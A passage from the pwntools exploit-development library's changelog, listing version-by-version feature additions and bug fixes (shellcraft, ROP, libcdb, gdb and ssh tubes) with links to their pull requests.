[#1763][1763] Allow to add to the existing environment in `process` instead of replacing it - [#2307][2307] Fix `pwn libcdb file` crashing if "/bin/sh" string was not found - [#2309][2309] Detect challenge binary and libc in `pwn template` - [#2308][2308] Fix WinExec shellcraft to make sure it's 16 byte aligned - [#2279][2279] Make `pwn template` always set context.binary - [#2310][2310] Add support to start a process on Windows - [#2335][2335] Add lookup optimizations in DynELF - [#2334][2334] Speed up disasm commandline tool with colored output - [#2328][2328] Lookup using $PATHEXT file extensions in `which` on Windows - [#2189][2189] Explicitly define p64/u64 functions for IDE support - [#2339][2339] Fix: Allow setting attributes on gdb Breakpoints - [#2323][2323] Retry failed lookups after one week in libcdb - [#2325][2325] Match against local system libc first in libcdb - [#2336][2336] Add `ELF.stripped` and `ELF.debuginfo` properties - [#2161][2161] Add basic support for darwin shellcraft/asm/disasm/run_shellcode/run_assembly - [#2161][2161] Fix freebsd amd64 SyscallABI - [#2160][2161] Fix invalid shellcraft.mov on arm64 - [#2284][2161] Fix invalid shellcraft.pushstr_array on arm64 - [#2345][2345] Fix pwn constgrep when it matches a non-constant type - [#2338][2338] Fix: follow symlink for libs on ssh connection - [#2341][2341] Launch GDB correctly in iTerm on Mac - [#2268][2268] Add a `flatten` argument to `ssh.libs` - [#2347][2347] Fix/workaround Unicorn Engine 1GB limit that calls exit() - [#2233][2233] Fix gdb.debug: exe parameter now respected, allow empty argv - [#2373][2373] Fix displaying bright color variation in terminal output - [#2378][2378] Don't go though a shell in `gdb.debug` [2242]: https://github.com/Gallopsled/pwntools/pull/2242 [2277]: https://github.com/Gallopsled/pwntools/pull/2277 [2281]: https://github.com/Gallopsled/pwntools/pull/2281 [2293]: https://github.com/Gallopsled/pwntools/pull/2293 [1763]: https://github.com/Gallopsled/pwntools/pull/1763 [2307]: https://github.com/Gallopsled/pwntools/pull/2307 [2309]: https://github.com/Gallopsled/pwntools/pull/2309 [2308]: https://github.com/Gallopsled/pwntools/pull/2308 [2279]: https://github.com/Gallopsled/pwntools/pull/2279 [2310]: https://github.com/Gallopsled/pwntools/pull/2310 [2335]: https://github.com/Gallopsled/pwntools/pull/2335 [2334]: https://github.com/Gallopsled/pwntools/pull/2334 [2328]: https://github.com/Gallopsled/pwntools/pull/2328 [2189]: https://github.com/Gallopsled/pwntools/pull/2189 [2339]: https://github.com/Gallopsled/pwntools/pull/2339 [2323]: https://github.com/Gallopsled/pwntools/pull/2323 [2325]: https://github.com/Gallopsled/pwntools/pull/2325 [2336]: https://github.com/Gallopsled/pwntools/pull/2336 [2161]: https://github.com/Gallopsled/pwntools/pull/2161 [2345]: https://github.com/Gallopsled/pwntools/pull/2345 [2338]: https://github.com/Gallopsled/pwntools/pull/2338 [2341]: https://github.com/Gallopsled/pwntools/pull/2341 [2268]: https://github.com/Gallopsled/pwntools/pull/2268 [2347]: https://github.com/Gallopsled/pwntools/pull/2347 [2233]: https://github.com/Gallopsled/pwntools/pull/2233 [2373]: https://github.com/Gallopsled/pwntools/pull/2373 [2378]: https://github.com/Gallopsled/pwntools/pull/2378 ## 4.12.0 - [#2202][2202] Fix `remote` and `listen` in sagemath - [#2117][2117] Add -p (--prefix) and -s (--separator) arguments to `hex` command - [#2221][2221] Add shellcraft.sleep template wrapping SYS_nanosleep - [#2219][2219] Fix passing arguments on the stack in shellcraft syscall template - [#2212][2212] Add `--libc libc.so` argument to `pwn template` command - [#2257][2257] Allow creation of custom templates for `pwn template` command - [#2225][2225] Allow empty argv in ssh.process() - [#2349][2349] Fix term.readline omitting a trailing \n - [#2352][2352] add `RETURN_CONST` as an allowed `_const_code` in safeeval [2202]: https://github.com/Gallopsled/pwntools/pull/2202 [2117]: https://github.com/Gallopsled/pwntools/pull/2117 [2221]: https://github.com/Gallopsled/pwntools/pull/2221 [2219]: https://github.com/Gallopsled/pwntools/pull/2219 [2212]: https://github.com/Gallopsled/pwntools/pull/2212 [2257]: https://github.com/Gallopsled/pwntools/pull/2257 [2225]: https://github.com/Gallopsled/pwntools/pull/2225 [2349]: https://github.com/Gallopsled/pwntools/pull/2349 [2352]: https://github.com/Gallopsled/pwntools/pull/2352 ## 4.11.1 - [#2271][2271] FIX: Generated shebang with path to python invalid if path contains spaces - [#2272][2272] Fix `tube.clean_and_log` not logging buffered data - [#2281][2281] FIX: Getting right amount of data for search fix - [#2287][2287] Fix `_countdown_handler` not invoking `timeout_change` - [#2294][2294] Fix atexit SEGV in aarch64 loader [2271]: https://github.com/Gallopsled/pwntools/pull/2271 [2272]: https://github.com/Gallopsled/pwntools/pull/2272 [2281]: https://github.com/Gallopsled/pwntools/pull/2281 [2287]: https://github.com/Gallopsled/pwntools/pull/2287 [2294]: https://github.com/Gallopsled/pwntools/pull/2294 ## 4.11.0 - [#2185][2185] make fmtstr module able to create payload without $ notation - [#2103][2103] Add search for libc binary by leaked function addresses `libcdb.search_by_symbol_offsets()` - [#2177][2177] Support for RISC-V 64-bit architecture - [#2186][2186] Enhance `ELF.nx` and `ELF.execstack` - [#2129][2129] Handle `context.newline` correctly when typing in `tube.interactive()` - [#2214][2214] Fix bug at ssh.py:`download` and `download_file` with relative paths - [#2241][2241] Fix ssh.process not setting ssh_process.cwd attribute - [#2261][2261] Fix corefile module after pyelftools update [2185]: https://github.com/Gallopsled/pwntools/pull/2185 [2103]: https://github.com/Gallopsled/pwntools/pull/2103 [2177]: https://github.com/Gallopsled/pwntools/pull/2177 [2186]: https://github.com/Gallopsled/pwntools/pull/2186 [2129]: https://github.com/Gallopsled/pwntools/pull/2129 [2214]: https://github.com/Gallopsled/pwntools/pull/2214 [2241]: https://github.com/Gallopsled/pwntools/pull/2241 [2261]: https://github.com/Gallopsled/pwntools/pull/2261 ## 4.10.0 In memoriam — [Zach Riggle][zach] — long time contributor and maintainer of Pwntools. - [#2062][2062] make pwn cyclic -l work with entry larger than 4 bytes - [#2092][2092] shellcraft: dup() is now called dupio() consistently across all supported arches - [#2093][2093] setresuid() in shellcraft uses current euid by default - [#2125][2125] Allow tube.recvregex to return capture groups - [#2144][2144] Removes `p2align 2` `asm()` headers from `x86-32`, `x86-64` and `mips` architectures to avoid inconsistent instruction length when patching binaries [2062]: https://github.com/Gallopsled/pwntools/pull/2062 [2092]: https://github.com/Gallopsled/pwntools/pull/2092 [2093]: https://github.com/Gallopsled/pwntools/pull/2093 [2125]: https://github.com/Gallopsled/pwntools/pull/2125 [2144]: https://github.com/Gallopsled/pwntools/pull/2144 [zach]: https://github.com/zachriggle ## 4.9.0 - [#1975][1975] Add libcdb commandline tool - [#1979][1979] Add `js_escape()` and `js_unescape()` to `util.fiddling` - [#2011][2011] Fix tube's debug output of same byte compression - [#2023][2023] Support KDE Konsole in run_in_new_terminal function - [#2027][2027] Fix ELF.libc_start_main_return with glibc 2.34 - [#2033][2033] Quote file and core path in generated GDB script - [#2035][2035] Change Buffer's parent class to object - [#2037][2037] Allow SSH tunnel to be treated like a TCP socket (with 'raw=True') - [#2123][2123] Fix ROP without a writeable cache directory - [#2124][2124] Fix `tube.recvpred()` timeout argument [1975]: https://github.com/Gallopsled/pwntools/pull/1975 [1979]: https://github.com/Gallopsled/pwntools/pull/1979 [2011]: https://github.com/Gallopsled/pwntools/pull/2011 [2023]: https://github.com/Gallopsled/pwntools/pull/2023 [2027]: https://github.com/Gallopsled/pwntools/pull/2027 [2033]: https://github.com/Gallopsled/pwntools/pull/2033 [2035]: https://github.com/Gallopsled/pwntools/pull/2035 [2037]: https://github.com/Gallopsled/pwntools/pull/2037 [2123]: https://github.com/Gallopsled/pwntools/pull/2123 [2124]: https://github.com/Gallopsled/pwntools/pull/2124 ## 4.8.0 - [#1922][1922] Fix logic in `wait_for_debugger` - [#1828][1828] libcdb: Load debug info and unstrip libc binary - [#1939][1939] Fix error in validating log levels - [#1981][1981] Fix `cyclic_find()` to make it work with large int values [1922]: https://github.com/Gallopsled/pwntools/pull/1922 [1828]: https://github.com/Gallopsled/pwntools/pull/1828 [1939]: https://github.com/Gallopsled/pwntools/pull/1939 [1981]: https://github.com/Gallopsled/pwntools/pull/1981 ## 4.7.1 - [#1784][1784] Use temporary cache directory when persistent cache cannot be used - [#1973][1973] ELF symbols can be looked up by bytes values - several bugfixes ([#2012][2012], [#2031][2031], [#1912][1912], [#1961][1961], [#2007][2007], [#2040][2040], [#2051][2051]) [1784]: https://github.com/Gallopsled/pwntools/pull/1784 [1912]: https://github.com/Gallopsled/pwntools/pull/1912 [1961]: https://github.com/Gallopsled/pwntools/pull/1961 [1973]: https://github.com/Gallopsled/pwntools/pull/1973 [2007]: https://github.com/Gallopsled/pwntools/pull/2007 [2012]: https://github.com/Gallopsled/pwntools/pull/2012 [2031]: https://github.com/Gallopsled/pwntools/pull/2031 [2040]: https://github.com/Gallopsled/pwntools/pull/2040 [2051]: https://github.com/Gallopsled/pwntools/pull/2051 ## 4.7.0 - [#1733][1733] Update libc headers -> more syscalls available! - [#1876][1876] add `self.message` and change `sys.exc_type` to `sys.exec_info()` in PwnlibException - [#1877][1877] encoders error message handles when `avoid` is bytes in python3 - [#1891][1891] Keep ROP gadgets when setting registers via setattr/call - [#1892][1892] Silence SIGPIPE error for "pwn phd" - [#1893][1893] Fix bytes warning in "pwn cyclic" - [#1897][1897] Add basic support for RISC-V - [#1903][1903] Add zsh completion script - [#1904][1904] Add bash completion script - [#1906][1906] Defer import of several modules to save on startup time - [#1921][1921] Add basic support for the bare-metal ARM specific toolchain - [#1995][1995] Add `shellcraft.*.linux.cat2`, which uses alloc+read+write instead of sendfile [1733]: https://github.com/Gallopsled/pwntools/pull/1733 [1876]: https://github.com/Gallopsled/pwntools/pull/1876 [1877]: https://github.com/Gallopsled/pwntools/pull/1877 [1891]: https://github.com/Gallopsled/pwntools/pull/1891 [1892]: https://github.com/Gallopsled/pwntools/pull/1892 [1893]: https://github.com/Gallopsled/pwntools/pull/1893 [1897]: https://github.com/Gallopsled/pwntools/pull/1897 [1903]: https://github.com/Gallopsled/pwntools/pull/1903 [1904]: https://github.com/Gallopsled/pwntools/pull/1904 [1906]: https://github.com/Gallopsled/pwntools/pull/1906 [1921]: https://github.com/Gallopsled/pwntools/pull/1921 [1995]: https://github.com/Gallopsled/pwntools/pull/1995 ## 4.6.0 - [#1429][1429] Add a mechanism for ret2csu (originally #1138) - [#1566][1566] Add `ignore_config` argument to `pwnlib.tubes.ssh` and improve `allow_agent` implementation - [#1652][1652] Add `process.readmem` and `process.writemem` - [#1739][1739] Add/fix shellcraft.linux.kill() / shellcraft.linux.killparent() - [#1746][1746] Prefer Python3 over Python2 for spawning remote processes over SSH - [#1751][1751] Fix process() with executable relative to cwd - [#1753][1753] major change: less unconditional imports in pwnlib - [#1776][1776] mips: do not use $t0 temporary variable in dupio - [#1846][1846] support launching GDB in more different terminals [1429]: https://github.com/Gallopsled/pwntools/pull/1429 [1566]: https://github.com/Gallopsled/pwntools/pull/1566 [1652]: https://github.com/Gallopsled/pwntools/pull/1652 [1739]: https://github.com/Gallopsled/pwntools/pull/1739 [1746]: https://github.com/Gallopsled/pwntools/pull/1746 [1751]: https://github.com/Gallopsled/pwntools/pull/1751 [1753]: https://github.com/Gallopsled/pwntools/pull/1753 [1776]: https://github.com/Gallopsled/pwntools/pull/1776 [1846]: https://github.com/Gallopsled/pwntools/pull/1846 ## 4.5.1 - [#1902][1902] Always specify -F and -P for tmux in `run_in_new_terminal` [1902]: https://github.com/Gallopsled/pwntools/pull/1902 ## 4.5.0 - [#1261][1261] Misc `run_in_new_terminal` improvements (notably gdb terminated by default) - [#1695][1695] Allow using GDB Python API - [#1735][1735] Python 3.9 support in safeeval - [#1738][1738] Which function support custom search path - process also looks now at `env['PATH']` to find the path for the executable - [#1742][1742] New `baremetal` os to debug binaries executed with qemu-system-$(arch) - [#1757][1757] update cache directories - [#1758][1758] Remove eval from cli - [#1780][1780] Re-add Python2 to the official Dockerfile - [#1941][1941] Disable all Android tests, `pwnlib.adb` is no longer supported in CI - [#1811][1811] Remove unnecessary `pwn.toplevel.__all__` - [#1827][1827] Support `$XDG_CONFIG_HOME` dir for `pwn.conf` - [#1841][1841] Add colored_traceback - [#1839][1839] run_in_new_terminal now creates a runner script if given a list or tuple - [#1833][1833] Add pwnlib.filesystem module - [#1852][1852] Fix `atexit` on Python 3 - [#1883][1883] ROP gadget verifier accounts for 2 character registers [1261]: https://github.com/Gallopsled/pwntools/pull/1261 [1695]: https://github.com/Gallopsled/pwntools/pull/1695 [1735]: https://github.com/Gallopsled/pwntools/pull/1735 [1738]: https://github.com/Gallopsled/pwntools/pull/1738 [1742]: https://github.com/Gallopsled/pwntools/pull/1742 [1757]: https://github.com/Gallopsled/pwntools/pull/1757 [1758]: https://github.com/Gallopsled/pwntools/pull/1758 [1780]: https://github.com/Gallopsled/pwntools/pull/1780 [1941]: https://github.com/Gallopsled/pwntools/pull/1941 [1811]: https://github.com/Gallopsled/pwntools/pull/1811 [1827]: https://github.com/Gallopsled/pwntools/pull/1827 [1841]: https://github.com/Gallopsled/pwntools/pull/1841 [1839]: https://github.com/Gallopsled/pwntools/pull/1839 [1833]: https://github.com/Gallopsled/pwntools/pull/1833 [1852]: https://github.com/Gallopsled/pwntools/pull/1852 [1883]: https://github.com/Gallopsled/pwntools/pull/1883 ## 4.4.0 - [#1541][1541] Use `context.newline` for tubes by default - [#1602][1602] Fix bytes handling in ssh tubes - [#1606][1606] Fix `asm()` and `disasm()` for MSP430, S390 - [#1616][1616] Fix `cyclic` cli for 64 bit integers - [#1632][1632] Enable usage of Pwntools in jupyter - [#1633][1633] Open a shell if `pwn template` cannot download the remote file - [#1644][1644] Enable and support SNI for SSL-wrapped tubes - [#1651][1651] Make `pwn shellcraft` faster - [#1654][1654] Docker images (`pwntools/pwntools:stable` etc) now use Python3 by default, and includes assemblers for a few common architectures - [#1667][1667] Add i386 encoder `ascii_shellcode` (Fixed docs in #1693) - Fix syscall instruction lists for SROP on `i386` and `amd64` - Fix migration to another ROP - [#1673][1673] Add `base=` argument to `ROP.chain()` and `ROP.dump()` - [#1675][1675] Gdbserver now correctly accepts multiple libraries in `LD_PRELOAD` and `LD_LIBRARY_PATH` - [#1678][1678] ROPGadget multibr - [#1682][1682] ROPGadget multibr fix - [#1687][1687] Actually import `requests` when doing `from pwn import *` - [#1688][1688] Add `__setattr__` and `__call__` interfaces to `ROP` for setting registers - [#1692][1692] Remove python2 shebangs where appropriate - [#1703][1703] Update libcdb buildid offsets for amd64 and i386 - [#1704][1704] Try https://libc.rip/ for libcdb lookup [1541]: https://github.com/Gallopsled/pwntools/pull/1541 [1602]: https://github.com/Gallopsled/pwntools/pull/1602 [1606]: https://github.com/Gallopsled/pwntools/pull/1606 [1616]: https://github.com/Gallopsled/pwntools/pull/1616 [1632]: https://github.com/Gallopsled/pwntools/pull/1632 [1633]: https://github.com/Gallopsled/pwntools/pull/1633 [1644]: https://github.com/Gallopsled/pwntools/pull/1644 [1651]: https://github.com/Gallopsled/pwntools/pull/1651 [1654]: https://github.com/Gallopsled/pwntools/pull/1654 [1667]: https://github.com/Gallopsled/pwntools/pull/1667 [1673]: https://github.com/Gallopsled/pwntools/pull/1673 [1675]: https://github.com/Gallopsled/pwntools/pull/1675 [1678]: https://github.com/Gallopsled/pwntools/pull/1678 [1682]: https://github.com/Gallopsled/pwntools/pull/1679 [1687]: https://github.com/Gallopsled/pwntools/pull/1687 [1688]: https://github.com/Gallopsled/pwntools/pull/1688 [1692]: https://github.com/Gallopsled/pwntools/pull/1692 [1703]: https://github.com/Gallopsled/pwntools/pull/1703 [1704]: https://github.com/Gallopsled/pwntools/pull/1704 ## 4.3.1 - [#1732][1732] Fix shellcraft SSTI vulnerability (first major pwntools vuln!) [1732]: https://github.com/Gallopsled/pwntools/pull/1732 ## 4.3.0 - [#1576][1576] Add `executable=` argument to `ELF.search` - [#1584][1584] Add `jmp_esp`/`jmp_rsp` attribute to `ROP` - [#1592][1592] Fix over-verbose logging of process() environment - [#1593][1593] Colorize output of `pwn template` - [#1601][1601] Add `pwn version` command line tool - [#1605][1605] Add to `fiddling.hexdump` a way to suppress the total at the end - [#1613][1613] Permit `--password` for `pwn template` - [#1616][1616] Fix `cyclic` cli for 64 bit integers - [#1564][1564] Fix `asm()` and `disasm()` for PowerPC64, MIPS64, Sparc64 - [#1621][1621] Permit negative values in flat() and fit() [1576]: https://github.com/Gallopsled/pwntools/pull/1576 [1584]: https://github.com/Gallopsled/pwntools/pull/1584 [1592]: https://github.com/Gallopsled/pwntools/pull/1592 [1593]: https://github.com/Gallopsled/pwntools/pull/1593 [1601]: https://github.com/Gallopsled/pwntools/pull/1601 [1605]: https://github.com/Gallopsled/pwntools/pull/1605 [1613]: https://github.com/Gallopsled/pwntools/pull/1613 [1616]: https://github.com/Gallopsled/pwntools/pull/1616 [1564]: https://github.com/Gallopsled/pwntools/pull/1564 [1621]: https://github.com/Gallopsled/pwntools/pull/1621 ## 4.2.1 - [#1625][1625] GDB now properly loads executables with QEMU - [#1663][1663] Change lookup algorithm of `adb.which` - [#1699][1699] Fix broken linux shellcraft templates [1625]: https://github.com/Gallopsled/pwntools/pull/1625 [1699]: https://github.com/Gallopsled/pwntools/pull/1699 ## 4.2.0 - [#1436][1436] Add ret2dlresolve automation - [fecf9f] tubes.ssh.process() no longer requires python 2 installed on remote (still requires python, though) - Miscellanous improvements to DynElf and fmtstr leaker (see examples/fmtstr/exploit2.py) - [#1454][1454] Support for windows console colors [1436]: https://github.com/Gallopsled/pwntools/pull/1436 [fecf9f]: http://github.com/Gallopsled/pwntools/commit/fecf9f [1454]: https://github.com/Gallopsled/pwntools/pull/1454 ## 4.1.7 (`stable`) - [#1615][1615] Fix aarch64 pushstr and pushstr_array [1615]: https://github.com/Gallopsled/pwntools/pull/1454 ## 4.1.5 - [#1517][1517] flat(..., filler=) is fixed for `str` values and Python2 `bytes` [1517]: https://github.com/Gallopsled/pwntools/pull/1517 ## 4.1.4 - [#1698][1609] Fix issues in `packing.flat` with mis-ordred fields [1609]: https://github.com/Gallopsled/pwntools/pull/1609 ## 4.1.3 - [#1590][1590] Fix `gdb.attach()` for `remote`, `listen`, `ssh` tubes - Also fix `run_in_new_terminal` for Py2 unicode strings - [#1595][1595] Fix ssh.process(timeout=) [1590]: https://github.com/Gallopsled/pwntools/pull/1590 [1595]: https://github.com/Gallopsled/pwntools/pull/1595 ## 4.1.2 - Pwntools requires `six` v.1.12.0 or higher ## 4.1.1 - Fix PLT resolution by locking unicorn <1.0.2rc4 (#1538) - Fix wrong ELF/context unpack handling (c4c11a37) - Fix updating of ELF.functions addresses after changing ELF.address #1512 (#1513) - Update Corefile warnings and replace asserts with normal checks (#1526) - several py2-py3 issues (#1451) - Fix cyclic command ## 4.1.0 - [#1316][1316] Fix connect shellcraft in python 3 - [#1323][1323] Fix issues related with debugging - [#1001][1001] Enhance `unlock_bootloader` with better status messages - [#1389][1389] remove old dependencies - [#1241][1241] Launch QEMU with sysroot if specified - [#1218][1218] Support for FileStructure exploitation [1316]: https://github.com/Gallopsled/pwntools/pull/1316 [1323]: https://github.com/Gallopsled/pwntools/pull/1323 [1001]: https://github.com/Gallopsled/pwntools/pull/1001 [1389]: https://github.com/Gallopsled/pwntools/pull/1389 [1241]: https://github.com/Gallopsled/pwntools/pull/1241 [1218]: https://github.com/Gallopsled/pwntools/pull/1218 ## 4.0.1 - [#1412][1412] `recvline_pred()` and similar do not reorder data - Bypass unicorn-engine/unicorn#1100 and unicorn-engine/unicorn#1170 requiring unstable package [1412]: https://github.com/Gallopsled/pwntools/pull/1412 ## 4.0.0 - **Python 3 support! <3** - [#1402][1402] Fix serialtube in python 3 - [#1391][1391] Fix process.libs - [#1317][1317] Tubes with `context.encoding` - [#1216][1216] Improve format string generator - [#1285][1285] Add freebsd generic syscall templates - [76413f][76413f] Add pwnlib.adb.bootimg for 'ANDROID!' format boot.img images - [#1202][1202] Docker: Kill 14 layers in pwntools base images - [#1182][1182] shellcraft.dupio() for mips [1402]: https://github.com/Gallopsled/pwntools/pull/1402 [1391]: https://github.com/Gallopsled/pwntools/pull/1391 [1317]: https://github.com/Gallopsled/pwntools/pull/1317 [1285]: https://github.com/Gallopsled/pwntools/pull/1285 [1216]: https://github.com/Gallopsled/pwntools/pull/1216 [1202]: https://github.com/Gallopsled/pwntools/pull/1202 [1182]: https://github.com/Gallopsled/pwntools/pull/1182 [76413f]: https://github.com/Gallopsled/pwntools/commit/76413f ## 3.13.0 - [#1204][1204] Reduce ROP cache filename length - [#1175][1175] Fix nested SSH connectors - [#1355][1355] Fix 'break' syscall - [#1277][1277] Fix timeout parameter passing in sendlineafter and other similar functions - [#1292][1292] Provide correct arch name to gdb for sparc64 [1175]: https://github.com/Gallopsled/pwntools/pull/1175 [1204]: https://github.com/Gallopsled/pwntools/pull/1204 [1277]: https://github.com/Gallopsled/pwntools/pull/1277 [1292]: https://github.com/Gallopsled/pwntools/pull/1292 [1355]: https://github.com/Gallopsled/pwntools/pull/1355 ## 3.12.2 - [#1242][1242] Use IntervalTree 2.xx, disallow use of 3.xx - [#1243][1243] Fix a typo that caused an exception when executing a binary with `process()` which returns `-ENOEXEC` and the system does not have `qemu-user` binaries installed. [1242]: https://github.com/Gallopsled/pwntools/pull/1242 [1243]: https://github.com/Gallopsled/pwntools/pull/1243 ## 3.12.1 - [#1198][1198] More compatibility fixes for pyelftools==0.25, and pin Sphinx<1.8.0 since it causes testing errors - [#1191][1191] Fix compatibility with pyelftools==0.25 - [#1159][1159] Fix check for `/proc/.../status` - [#1162][1162] Fix broken package versions - [#1150][1150] Fix exception raised when a cache file is missing - [#1156][1156] Fix ROP gadget selection logic involving `int` and `syscall` instructions - [#1152][1152] Fix QEMU LD_PREFIX calculation (wrong parameter passed) - [#1155][1155] Use Ubuntu Trusty for all CI builds - [#1131][1131] Add "libc-" to libc prefixes in `process` tubes - [#1125][1125] Fix a typo - [#1121][1121] Fix tests which were broken by an upstream Sphinx change - [#1104][1104] Add `DynELF.dump()` for dumping remote ELF files - [#1101][1101] Set `context.os` via `context.binary`, useful for Android exploitation - [5fdc08][5fdc08] Work around broken `pidof` on Android - [63dfed][63dfed] Print warning when Corefile deletion fails instead of throwing an exception - [#1094][1094] Make hexdump output alignment more consistent - [#1096][1096] `flat()` and `fit()` are now the same function [1198]: https://github.com/Gallopsled/pwntools/pull/1198 [1191]: https://github.com/Gallopsled/pwntools/pull/1191 [1159]: https://github.com/Gallopsled/pwntools/pull/1159 [1162]: https://github.com/Gallopsled/pwntools/pull/1162 [1150]: https://github.com/Gallopsled/pwntools/pull/1150 [1156]: https://github.com/Gallopsled/pwntools/pull/1156 [1152]: https://github.com/Gallopsled/pwntools/pull/1152 [1155]: https://github.com/Gallopsled/pwntools/pull/1155 [1131]: https://github.com/Gallopsled/pwntools/pull/1131 [1125]: https://github.com/Gallopsled/pwntools/pull/1125 [1121]: https://github.com/Gallopsled/pwntools/pull/1121 [1104]: https://github.com/Gallopsled/pwntools/pull/1104 [1101]: https://github.com/Gallopsled/pwntools/pull/1101 [1094]: https://github.com/Gallopsled/pwntools/pull/1094 [1096]: https://github.com/Gallopsled/pwntools/pull/1096 [5fdc08]: https://github.com/Gallopsled/pwntools/commit/5fdc08 [63dfed]: https://github.com/Gallopsled/pwntools/commit/63dfed ## 3.12.0 - [#1083][1083] Better error messages for `gdb` when `LD_PRELOAD` is incorrect - [#1085][1085] Add support for extracting Android `BOOTLDR!` images - [#1075][1075] Add support for detecting GNU Screen for `run_in_new_terminal` - [#1074][1074] Add support for running `pwntools-gdb` wrapper script instead of `gdb` - [#1068][1068] Work around very old OpenSSL versions which don't have sha256 support *AND* don't exit with an error code when trying to use it - [#1067][1067] Add `pwnlib.tubes.server` module, which adds a reusable `server` listener - [#1063][1063] Add support for labels in `fit()`, allowing dynamic contents to be injected. (This feature is really cool, check out the pull request!) [1083]: https://github.com/Gallopsled/pwntools/pull/1083 [1085]: https://github.com/Gallopsled/pwntools/pull/1085 [1075]: https://github.com/Gallopsled/pwntools/pull/1075 [1074]: https://github.com/Gallopsled/pwntools/pull/1074 [1068]: https://github.com/Gallopsled/pwntools/pull/1068 [1067]: https://github.com/Gallopsled/pwntools/pull/1067 [1063]: https://github.com/Gallopsled/pwntools/pull/1063 ## 3.11.0 - [#1044][1044] Enhancements to ROP + Much better support for 64-bit Intel (amd64) ROP + ROP gadget selection is optimized to favor multi-pops instead of multiple single-pop gadgets + Added support for blacklisting byte values in ROP gadget addresses - [#1049][1049] Enhancements to `cyclic` + `context` now has two additional attributes, `cyclic_alphabet` and `cyclic_length`, which correspond to the arguments `alphabet` and `n` to `cyclic()` and `cyclic_find()` and related routines. + The motivation for this change is to allow setting the `alphabet` globally, so that any padding / patterns generated internally to pwntools can be controlled. The specific motivation is blacklisting values in ROP padding. - [#1052][1052] Enhancements for detecting `QEMU_LD_PREFIX` used by QEMU user-mode emulation for sysroots - [#1035][1035] Minor documentation changes - [#1032][1032] Enhancements to `pwn template` - [#1031][1031] More accurate `Coredump.fault_addr` on amd64 - [#1084][1084] Fix broken tests due to `ftp.debian.org` going down [1044]: https://github.com/Gallopsled/pwntools/pull/1044 [1049]: https://github.com/Gallopsled/pwntools/pull/1049 [1052]: https://github.com/Gallopsled/pwntools/pull/1052 [1035]: https://github.com/Gallopsled/pwntools/pull/1035 [1032]: https://github.com/Gallopsled/pwntools/pull/1032 [1031]: https://github.com/Gallopsled/pwntools/pull/1031 [1084]: https://github.com/Gallopsled/pwntools/pull/1084 ## 3.10.0 - [#1007][1007] Add support for setting a `gdbinit` file in the context - [#1055][1055] Fixes for `Corefile` stack parsing, speed up `ELF.string()` - [#1057][1057] Fix a variable name typo in `DynELF` logging which results in an exception being thrown - [#1058][1058] Fix an edge case in `ssh_process.exe` [1007]: https://github.com/Gallopsled/pwntools/pull/1007 [1055]: https://github.com/Gallopsled/pwntools/pull/1055 [1057]: https://github.com/Gallopsled/pwntools/pull/1057 [1058]: https://github.com/Gallopsled/pwntools/pull/1058 ## 3.9.2 - [#1043][1043] Do not attempt to populate the libraries used by statically-linked binaries [1043]: https://github.com/Gallopsled/pwntools/pull/1043 ## 3.9.1 - [#1038][1038] Fix an issue with `process()` where glibc would buffer data internally, causing a hang on `select()` - [#1036][1036] Fix Travis CI logging verbosity - [#1029][1029] Fix some `unicode` issues when using the `readline` command history in `tube.interactive()` [1038]: https://github.com/Gallopsled/pwntools/pull/1038 [1036]: https://github.com/Gallopsled/pwntools/pull/1036 [1029]: https://github.com/Gallopsled/pwntools/pull/1029 ## 3.9.0 - [#1003][1003] Make `concat_all` faster while also simplifying it's logic - [#1014][1014] Fix for overwritten env when parsing core file - [#1023][1023] Fixes to Travis CI [1003]: https://github.com/Gallopsled/pwntools/pull/1003 [1014]: https://github.com/Gallopsled/pwntools/pull/1014 [1023]: https://github.com/Gallopsled/pwntools/pull/1023 ## 3.8.0 - [#981][981] Fixed RELRO detection logic - [#986][986] Enhancements to DynELF for controlling usage of LibcDB - A few documentation fixes - A few fixes for the Docker image [981]: https://github.com/Gallopsled/pwntools/pull/981 [986]: https://github.com/Gallopsled/pwntools/pull/986 ## 3.7.1 - [#998][998] Fix a bug where integer values could not be set in `.pwn.conf`. [998]: https://github.com/Gallopsled/pwntools/pull/998 ## 3.7.0 - [#933][933] DynELF works better with different base addresses - [#952][952] A few small fixes were made to `pwn template`, and the CRC database was updated. - [5c72d62c][5c72d62c] Updated the CRC database [933]: https://github.com/Gallopsled/pwntools/pull/933 [952]: https://github.com/Gallopsled/pwntools/pull/952 [5c72d62c]: https://github.com/Gallopsled/pwntools/commit/5c72d62c ## 3.6.1 - [#979][979]+[1a4a1e1][1a4a1e1] Fixed [#974][974], a bug related to the terminal handling and numlock. - [#980][980] Fixed the `pwn template` command. [974]: https://github.com/Gallopsled/pwntools/issues/974 [979]: https://github.com/Gallopsled/pwntools/pull/979 [980]: https://github.com/Gallopsled/pwntools/pull/980 [1a4a1e1]: https://github.com/Gallopsled/pwntools/commit/1a4a1e1 ## 3.6.0 - [#895][895] Added a Dockerfile to simplify testing setup and allow testing on OSX - [#897][897] Fixed some incorrect AArch64 syscals - [#893][893] Added the `pwnlib.config` module + Configuration options can now be set in `~/.pwn.conf` + This replaces the old, **undocumented** mechanism for changing logging colors. Only @br0ns and @ebeip90 were likely using this. + More information is available in the documentation [here](http://docs.pwntools.com/en/dev/config.html). - [#899][899] Pwntools now uses Unicorn Engine to emulate PLT instructions to ensure correct mapping of PIE / RELRO binaries. - [#904][904] Enhancements to the accuracy of the `pwn checksec` command. - [#905][905] Added a `pwn debug` command-line utility which automates the process of `gdb.attach(process(...))` to spawn GDB + More information is available in the documentation [here](http://docs.pwntools.com/en/dev/commandline.html#pwn-debug) - [#919][919] Added a `pwn template` command-line utility to simplify the process of bootstrapping a new exploit. + More information is available in the documentation [here](http://docs.pwntools.com/en/dev/commandline.html#pwn-template). - [#948][948] Fix unnecessary warning for Core files - [#954][954] Fix list processing in `~/.pwn.conf` - [#967][967] Respect `TERM_PROGRAM` for `run_in_new_terminal` - [#970][970] Fix overly-aggressive corefile caching [947]: https://github.com/Gallopsled/pwntools/pull/947 [948]: https://github.com/Gallopsled/pwntools/pull/948 [954]: https://github.com/Gallopsled/pwntools/pull/954 [960]: https://github.com/Gallopsled/pwntools/pull/960 [967]: https://github.com/Gallopsled/pwntools/pull/967 [968]: https://github.com/Gallopsled/pwntools/pull/968 [970]: https://github.com/Gallopsled/pwntools/pull/970 [895]: https://github.com/Gallopsled/pwntools/pull/895 [897]: https://github.com/Gallopsled/pwntools/pull/897 [893]: https://github.com/Gallopsled/pwntools/pull/893 [899]: https://github.com/Gallopsled/pwntools/pull/899 [904]: https://github.com/Gallopsled/pwntools/pull/904 [905]: 